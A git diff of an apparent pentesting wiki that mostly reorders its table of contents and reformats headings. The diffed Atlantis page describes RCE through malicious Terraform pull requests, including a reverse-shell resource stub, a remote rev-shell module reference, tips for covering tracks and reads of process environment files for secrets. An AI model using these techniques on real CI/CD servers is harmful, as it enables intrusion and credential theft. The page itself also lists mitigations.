and 5.2.5 PHP cURL](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md) + * [disable\_functions bypass - PHP safe\_mode bypass via proc\_open() and custom environment Exploit](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-safe\_mode-bypass-via-proc\_open-and-custom-environment-exploit.md) + * [disable\_functions bypass - PHP Perl Extension Safe\_mode Bypass Exploit](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-perl-extension-safe\_mode-bypass-exploit.md) + * [disable\_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md) + * [disable\_functions bypass - PHP 5.2 - FOpen Exploit](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-5.2-fopen-exploit.md) + * [disable\_functions bypass - via mem](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-via-mem.md) + * [disable\_functions bypass - mod\_cgi](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-mod\_cgi.md) + * [disable\_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl\_exec](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl\_exec.md) + * [Python](network-services-pentesting/pentesting-web/python.md) + * [Special HTTP headers](network-services-pentesting/pentesting-web/special-http-headers.md) + * [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md) + * [Symphony](network-services-pentesting/pentesting-web/symphony.md) + * [Tomcat](network-services-pentesting/pentesting-web/tomcat.md) + * [Uncovering CloudFlare](network-services-pentesting/pentesting-web/uncovering-cloudflare.md) + * [VMWare (ESX, VCenter...)](network-services-pentesting/pentesting-web/vmware-esx-vcenter....md) + * [Web API Pentesting](network-services-pentesting/pentesting-web/web-api-pentesting.md) + * [WebDav](network-services-pentesting/pentesting-web/put-method-webdav.md) + * [werkzeug](network-services-pentesting/pentesting-web/werkzeug.md) + * [Wordpress](network-services-pentesting/pentesting-web/wordpress.md) + * [XSS to RCE Electron Desktop Apps](network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/README.md) + * [Electron contextIsolation RCE via preload code](network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md) + * [Electron contextIsolation RCE via Electron internal code](network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md) + * [Electron contextIsolation RCE via IPC](network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-ipc.md) +* [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md) + * [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md) + * [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md) +* [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md) +* [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md) +* [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md) +* [123/udp - Pentesting NTP](network-services-pentesting/pentesting-ntp.md) +* [135, 593 - Pentesting MSRPC](network-services-pentesting/135-pentesting-msrpc.md) +* [137,138,139 - Pentesting NetBios](network-services-pentesting/137-138-139-pentesting-netbios.md) +* [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb.md) +* [143,993 - Pentesting IMAP](network-services-pentesting/pentesting-imap.md) +* [161,162,10161,10162/udp - Pentesting SNMP](network-services-pentesting/pentesting-snmp/README.md) + * [SNMP RCE](network-services-pentesting/pentesting-snmp/snmp-rce.md) +* [194,6667,6660-7000 - Pentesting IRC](network-services-pentesting/pentesting-irc.md) +* [264 - Pentesting Check Point FireWall-1](network-services-pentesting/pentesting-264-check-point-firewall-1.md) +* [389, 636, 3268, 3269 - Pentesting LDAP](network-services-pentesting/pentesting-ldap.md) +* [500/udp - Pentesting IPsec/IKE VPN](network-services-pentesting/ipsec-ike-vpn-pentesting.md) +* [502 - Pentesting Modbus](network-services-pentesting/pentesting-modbus.md) +* [512 - Pentesting Rexec](network-services-pentesting/512-pentesting-rexec.md) +* [513 - Pentesting Rlogin](network-services-pentesting/pentesting-rlogin.md) +* [514 - Pentesting Rsh](network-services-pentesting/pentesting-rsh.md) +* [515 - Pentesting Line Printer Daemon (LPD)](network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md) +* [548 - Pentesting Apple Filing Protocol (AFP)](network-services-pentesting/584-pentesting-afp.md) +* [554,8554 - Pentesting RTSP](network-services-pentesting/554-8554-pentesting-rtsp.md) +* [623/UDP/TCP - IPMI](network-services-pentesting/623-udp-ipmi.md) +* [631 - Internet Printing Protocol(IPP)](network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md) +* [873 - Pentesting Rsync](network-services-pentesting/873-pentesting-rsync.md) +* [1026 - Pentesting Rusersd](network-services-pentesting/1026-pentesting-rusersd.md) +* [1080 - Pentesting Socks](network-services-pentesting/1080-pentesting-socks.md) +* [1098/1099/1050 - Pentesting Java RMI - RMI-IIOP](network-services-pentesting/1099-pentesting-java-rmi.md) +* [1433 - Pentesting MSSQL - Microsoft SQL Server](network-services-pentesting/pentesting-mssql-microsoft-sql-server.md) +* [1521,1522-1529 - Pentesting Oracle TNS Listener](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md) + * [Oracle Pentesting requirements installation](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md) + * [TNS Poison](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/tns-poison.md) + * [Remote stealth pass brute force](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md) + * [Oracle RCE & more](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-rce-and-more.md) +* [1723 - Pentesting PPTP](network-services-pentesting/1723-pentesting-pptp.md) +* [1883 - Pentesting MQTT (Mosquitto)](network-services-pentesting/1883-pentesting-mqtt-mosquitto.md) +* [2049 - Pentesting NFS Service](network-services-pentesting/nfs-service-pentesting.md) +* [2301,2381 - Pentesting Compaq/HP Insight Manager](network-services-pentesting/pentesting-compaq-hp-insight-manager.md) +* [2375, 2376 Pentesting Docker](network-services-pentesting/2375-pentesting-docker.md) +* [3128 - Pentesting Squid](network-services-pentesting/3128-pentesting-squid.md) +* [3260 - Pentesting ISCSI](network-services-pentesting/3260-pentesting-iscsi.md) +* [3299 - Pentesting SAPRouter](network-services-pentesting/3299-pentesting-saprouter.md) +* [3306 - Pentesting Mysql](network-services-pentesting/pentesting-mysql.md) +* [3389 - Pentesting RDP](network-services-pentesting/pentesting-rdp.md) +* [3632 - Pentesting distcc](network-services-pentesting/3632-pentesting-distcc.md) +* [3690 - Pentesting Subversion (svn server)](network-services-pentesting/3690-pentesting-subversion-svn-server.md) +* [3702/UDP - Pentesting WS-Discovery](network-services-pentesting/3702-udp-pentesting-ws-discovery.md) +* [4369 - Pentesting Erlang Port Mapper Daemon (epmd)](network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md) +* [5000 - Pentesting Docker Registry](network-services-pentesting/5000-pentesting-docker-registry.md) +* [5353/UDP Multicast DNS (mDNS) and DNS-SD](network-services-pentesting/5353-udp-multicast-dns-mdns.md) +* [5432,5433 - Pentesting Postgresql](network-services-pentesting/pentesting-postgresql.md) +* [5555 - Android Debug Bridge](network-services-pentesting/5555-android-debug-bridge.md) +* [5601 - Pentesting Kibana](network-services-pentesting/5601-pentesting-kibana.md) +* [5671,5672 - Pentesting AMQP](network-services-pentesting/5671-5672-pentesting-amqp.md) +* [5800,5801,5900,5901 - Pentesting VNC](network-services-pentesting/pentesting-vnc.md) +* [5984,6984 - Pentesting CouchDB](network-services-pentesting/5984-pentesting-couchdb.md) +* [5985,5986 - Pentesting WinRM](network-services-pentesting/5985-5986-pentesting-winrm.md) +* [5985,5986 - Pentesting OMI](network-services-pentesting/5985-5986-pentesting-omi.md) +* [6000 - Pentesting X11](network-services-pentesting/6000-pentesting-x11.md) +* [6379 - Pentesting Redis](network-services-pentesting/6379-pentesting-redis.md) +* [8009 - Pentesting Apache JServ Protocol (AJP)](network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md) +* [8086 - Pentesting InfluxDB](network-services-pentesting/8086-pentesting-influxdb.md) +* [8089 - Pentesting Splunkd](network-services-pentesting/8089-splunkd.md) +* [8333,18333,38333,18444 - Pentesting Bitcoin](network-services-pentesting/8333-18333-38333-18444-pentesting-bitcoin.md) +* [9000 - Pentesting FastCGI](network-services-pentesting/9000-pentesting-fastcgi.md) +* [9001 - Pentesting HSQLDB](network-services-pentesting/9001-pentesting-hsqldb.md) +* [9042/9160 - Pentesting Cassandra](network-services-pentesting/cassandra.md) +* [9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)](network-services-pentesting/9100-pjl.md) +* [9200 - Pentesting Elasticsearch](network-services-pentesting/9200-pentesting-elasticsearch.md) +* [10000 - Pentesting Network Data Management Protocol (ndmp)](network-services-pentesting/10000-network-data-management-protocol-ndmp.md) +* [11211 - Pentesting Memcache](network-services-pentesting/11211-memcache.md) +* [15672 - Pentesting RabbitMQ Management](network-services-pentesting/15672-pentesting-rabbitmq-management.md) +* [24007,24008,24009,49152 - Pentesting GlusterFS](network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md) +* [27017,27018 - Pentesting MongoDB](network-services-pentesting/27017-27018-mongodb.md) +* [44134 - Pentesting Tiller (Helm)](network-services-pentesting/44134-pentesting-tiller-helm.md) +* [44818/UDP/TCP - Pentesting EthernetIP](network-services-pentesting/44818-ethernetip.md) +* [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md) +* [50030,50060,50070,50075,50090 - Pentesting Hadoop](network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md) -# Pentesting Web +*** * [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md) * [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md) @@ -473,9 +475,6 @@ * [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md) * [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md) * [XS-Search](pentesting-web/xs-search.md) - -# Forensics - * [Basic Forensic Methodology](forensics/basic-forensic-methodology/README.md) * [Baseline Monitoring](forensics/basic-forensic-methodology/file-integrity-monitoring.md) * [Anti-Forensic Techniques](forensics/basic-forensic-methodology/anti-forensic-techniques.md) @@ -507,9 +506,6 @@ * [Windows Artifacts](forensics/basic-forensic-methodology/windows-forensics/README.md) * [Windows Processes](forensics/basic-forensic-methodology/windows-forensics/windows-processes.md) * [Interesting Windows Registry Keys](forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md) - -# Cloud Security - * [GCP Security](cloud-security/gcp-security/README.md) * [GCP - Other Services Enumeration](cloud-security/gcp-security/gcp-looting.md) * [GCP - Abuse GCP Permissions](cloud-security/gcp-security/gcp-interesting-permissions/README.md) @@ -558,9 +554,6 @@ * [Atlantis](cloud-security/atlantis.md) * [Cloud Security Review](cloud-security/cloud-security-review.md) * [AWS Security](cloud-security/aws-security.md) - -# A.I. Exploiting - * [BRA.I.NSMASHER Presentation](a.i.-exploiting/bra.i.nsmasher-presentation/README.md) * [Basic Bruteforcer](a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md) * [Basic Captcha Breaker](a.i.-exploiting/bra.i.nsmasher-presentation/basic-captcha-breaker.md) @@ -568,27 +561,15 @@ * [Hybrid Malware Classifier Part 1](a.i.-exploiting/bra.i.nsmasher-presentation/hybrid-malware-classifier-part-1.md) * [ML Basics](a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/README.md) * [Feature Engineering](a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/feature-engineering.md) - -# Blockchain - * [Blockchain & Crypto Currencies](blockchain/blockchain-and-crypto-currencies/README.md) * [Page 1](blockchain/blockchain-and-crypto-currencies/page-1.md) - -# Courses and Certifications Reviews - * [INE Courses and eLearnSecurity Certifications Reviews](courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md) - -# Physical attacks - * [Physical Attacks](physical-attacks/physical-attacks.md) * [Escaping from KIOSKs](physical-attacks/escaping-from-gui-applications/README.md) * [Show file extensions](physical-attacks/escaping-from-gui-applications/show-file-extensions.md) * [Firmware Analysis](physical-attacks/firmware-analysis/README.md) * [Bootloader testing](physical-attacks/firmware-analysis/bootloader-testing.md) * [Firmware Integrity](physical-attacks/firmware-analysis/firmware-integrity.md) - -# Reversing - * [Reversing Tools & Basic Methods](reversing/reversing-tools-basic-methods/README.md) * [Angr](reversing/reversing-tools-basic-methods/angr/README.md) * [Angr - Examples](reversing/reversing-tools-basic-methods/angr/angr-examples.md) @@ -599,9 +580,6 @@ * [Cryptographic/Compression Algorithms](reversing/cryptographic-algorithms/README.md) * [Unpacking binaries](reversing/cryptographic-algorithms/unpacking-binaries.md) * [Word Macros](reversing/word-macros.md) - -# Exploiting - * [Linux Exploiting (Basic) (SPA)](exploiting/linux-exploiting-basic-esp/README.md) * [Format Strings Template](exploiting/linux-exploiting-basic-esp/format-strings-template.md) * [ROP - call sys\_execve](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md) @@ -613,9 +591,6 @@ * [Exploiting Tools](exploiting/tools/README.md) * [PwnTools](exploiting/tools/pwntools.md) * [Windows Exploiting (Basic Guide - OSCP lvl)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md) - -# Cryptography - * [Certificates](cryptography/certificates.md) * [Cipher Block Chaining CBC-MAC](cryptography/cipher-block-chaining-cbc-mac-priv.md) * [Crypto CTFs Tricks](cryptography/crypto-ctfs-tricks.md) @@ -623,21 +598,12 @@ * [Hash Length Extension Attack](cryptography/hash-length-extension-attack.md) * [Padding Oracle](cryptography/padding-oracle-priv.md) * [RC4 - Encrypt\&Decrypt](cryptography/rc4-encrypt-and-decrypt.md) - -# BACKDOORS - * [Merlin](backdoors/merlin.md) * [Empire](backdoors/empire.md) * [Salseo](backdoors/salseo.md) * [ICMPsh](backdoors/icmpsh.md) - -# Stego - * [Stego Tricks](stego/stego-tricks.md) * [Esoteric languages](stego/esoteric-languages.md) - -# MISC - * [Basic Python](misc/basic-python/README.md) * [venv](misc/basic-python/venv.md) * [Bypass Python sandboxes](misc/basic-python/bypass-python-sandboxes/README.md) @@ -646,21 +612,15 @@ * [Web Requests](misc/basic-python/web-requests.md) * [Bruteforce hash (few chars)](misc/basic-python/bruteforce-hash-few-chars.md) * [Other Big References](misc/references.md) - -# TODO - * [More Tools](todo/more-tools.md) * [MISC](todo/misc.md) -* [Pentesting DNS](todo/pentesting-dns.md) +* [Pentesting DNS](pentesting-dns.md) * [Hardware Hacking](todo/hardware-hacking/README.md) * [I2C](todo/hardware-hacking/i2c.md) * [UART](todo/hardware-hacking/uart.md) * [Radio](todo/hardware-hacking/radio.md) * [JTAG](todo/hardware-hacking/jtag.md) * [SPI](todo/hardware-hacking/spi.md) - -*** - * [Radio Hacking](radio-hacking/README.md) * [Pentesting RFID](radio-hacking/pentesting-rfid.md) * [Low-Power Wide Area Network](radio-hacking/low-power-wide-area-network.md) diff --git a/android-forensics.md b/android-forensics.md index 2cfab072..e2a9d15d 100644 --- a/android-forensics.md +++ b/android-forensics.md @@ -1,4 +1,4 @@ - +# Android Forensics
@@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Locked Device +## Locked Device To start extracting data from an Android device it has to be unlocked. If it's locked you can: @@ -25,21 +24,20 @@ To start extracting data from an Android device it has to be unlocked. If it's l * Check for a possible [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full\_papers/Aviv.pdf) * Try with [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/) -# Data Adquisition +## Data Adquisition -Create an [android backup using adb](mobile-apps-pentesting/android-app-pentesting/adb-commands.md#backup) and extract it using [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar` +Create an [android backup using adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) and extract it using [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar` -## If root access or physical connection to JTAG interface +### If root access or physical connection to JTAG interface * `cat /proc/partitions` (search the path to the flash memory, generally the first entry is _mmcblk0_ and corresponds to the whole flash memory). * `df /data` (Discover the block size of the system). * dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (execute it with the information gathered from the block size). -## Memory +### Memory Use Linux Memory Extractor (LiME) to extract the RAM information. It's a kernel extension that should be loaded via adb. -
Support HackTricks and get benefits! @@ -55,5 +53,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/cloud-security/atlantis.md b/cloud-security/atlantis.md index a315826e..f607af43 100644 --- a/cloud-security/atlantis.md +++ b/cloud-security/atlantis.md @@ -1,5 +1,7 @@ # Atlantis +## Atlantis +
Support HackTricks and get benefits! @@ -16,23 +18,22 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Basic Information +## Basic Information Atlantis basically helps you to to run terraform from Pull Requests from your git server. ![](<../.gitbook/assets/image (307) (3).png>) -# Local Lab +## Local Lab 1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you. 2. Create a **personal token** (with repo access) of your **github** user 3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis** 1. You can access the web page in 127.0.0.1:4141 -# Atlantis Access +## Atlantis Access -## Git Server Credentials +### Git Server Credentials **Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\ However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\ @@ -42,7 +43,7 @@ However, in order to access the repos in those platforms and perform actions, it In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**. {% endhint %} -## Webhooks +### Webhooks Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**. @@ -54,7 +55,7 @@ Note that unless you use a private github or bitbucket server, you will need to Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**. {% endhint %} -## Provider Credentials +### Provider Credentials Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider. @@ -72,13 +73,13 @@ It's up to you how you [provide credentials](https://www.runatlantis.io/docs/pro The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform. {% endhint %} -## Web Page +### Web Page By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful). You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones). -# Server Configuration +## Server Configuration Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three. @@ -95,7 +96,7 @@ Values are **chosen in this order**: Note that in the configuration you might find interesting values such as **tokens and passwords**. {% endhint %} -## Repos Configuration +### Repos Configuration Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order: @@ -154,7 +155,7 @@ Atlantis supports running **server-side** [**conftest**](https://www.conftest.de You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works). -# Atlantis Commands +## Atlantis Commands \*\*\*\*[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis: @@ -181,7 +182,7 @@ atlantis apply [options] -- [terraform apply flags] # You can also add extra terraform options ``` -# Attacks +## Attacks {% hint style="warning" %} If during the exploitation you find this **error**: `Error: Error acquiring the state lock` @@ -194,7 +195,7 @@ atlantis plan -- -lock=false ``` {% endhint %} -## Atlantis plan RCE - Config modification in new PR +### Atlantis plan RCE - Config modification in new PR If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can \*\*execute `atlantis plan` \*\* (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**. @@ -223,7 +224,7 @@ You can find the rev shell code in [https://github.com/carlospolop/terraform\_ex * In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` * **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**. -## Atlantis apply RCE - Config modification in new PR +### Atlantis apply RCE - Config modification in new PR If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**. @@ -255,7 +256,7 @@ resource "null_resource" "rev_shell" { Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**. -## Terraform Param Injection +### Terraform Param Injection When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like: @@ -269,7 +270,7 @@ atlantis apply -- -h #Get terraform apply help Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) -## Custom Workflow +### Custom Workflow Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\ This possibility was mentioned in a previous section: @@ -296,7 +297,7 @@ workflows: ``` {% endhint %} -## PR Hijacking +### PR Hijacking If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to. @@ -304,13 +305,13 @@ Moreover, if you don't have configured in the **branch protection** to ask to ** This is the **setting** in Github branch protections: -![](<../.gitbook/assets/image (375) (1).png>) +![](<../.gitbook/assets/image (307) (4).png>) -## Webhook Secret +### Webhook Secret If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly. -## Bitbucket +### Bitbucket Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs. @@ -318,7 +319,7 @@ Bitbucket Cloud does **not support webhook secrets**. This could allow attackers * If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos. * To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses). -# Post-Exploitation +## Post-Exploitation If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read: @@ -329,17 +330,17 @@ If you managed to get access to the server or at least you got a LFI there are s * `/proc/1/environ` Env variables * `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data) -# Mitigations +## Mitigations -## Don't Use On Public Repos +### Don't Use On Public Repos Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings. -## Don't Use `--allow-fork-prs` +### Don't Use `--allow-fork-prs` If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo. -## `--repo-allowlist` +### `--repo-allowlist` Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example: @@ -350,7 +351,7 @@ Atlantis requires you to specify a allowlist of repositories it will accept webh This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details. -## Protect Terraform Planning +### Protect Terraform Planning If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data\_source) or by specifying a malicious provider. This code could then exfiltrate your credentials. @@ -360,7 +361,7 @@ To prevent this, you could: 2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry. 3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here. -## Webhook Secrets +### Webhook Secrets Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab). @@ -370,17 +371,17 @@ If you are using Azure DevOps, instead of webhook secrets add a basic username a Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location. -## SSL/HTTPS +### SSL/HTTPS If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags. -## Enable Authentication on Atlantis Web Server +### Enable Authentication on Atlantis Web Server It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags. You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`. -# References +## References * [**https://www.runatlantis.io/docs**](https://www.runatlantis.io/docs)\*\*\*\* diff --git a/cloud-security/concourse/concourse-architecture.md b/cloud-security/concourse/concourse-architecture.md index 029cf346..d1148e32 100644 --- a/cloud-security/concourse/concourse-architecture.md +++ b/cloud-security/concourse/concourse-architecture.md @@ -1,5 +1,7 @@ # Concourse Architecture +## Concourse Architecture +
Support HackTricks and get benefits! @@ -16,18 +18,17 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+## Architecture -# Architecture +![](<../../.gitbook/assets/image (307) (3) (1).png>) -![](<../../.gitbook/assets/image (651) (1) (1).png>) - -## ATC: web UI & build scheduler +### ATC: web UI & build scheduler The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs). The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes. -## TSA: worker registration & forwarding +### TSA: worker registration & forwarding The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc). @@ -35,7 +36,7 @@ The TSA by **default listens on port `2222`**, and is usually colocated with the The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa). -## Workers +### Workers In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim). diff --git a/cloud-security/concourse/concourse-enumeration-and-attacks.md b/cloud-security/concourse/concourse-enumeration-and-attacks.md index 6bada3af..d9a964bf 100644 --- a/cloud-security/concourse/concourse-enumeration-and-attacks.md +++ b/cloud-security/concourse/concourse-enumeration-and-attacks.md @@ -1,4 +1,4 @@ - +# Concourse Enumeration & Attacks
@@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# User Roles & Permissions +## User Roles & Permissions Concourse comes with five roles: @@ -33,14 +32,14 @@ Moreover, the **permissions of the roles owner, member, pipeline-operator and vi Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them. -# Vars & Credential Manager +## Vars & Credential Manager In the YAML configs you can configure values using the syntax `((`_`source-name`_`:`_`secret-path`_`.`_`secret-field`_`))`.\ The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\ -The **optional **_**secret-field**_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\ +The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If 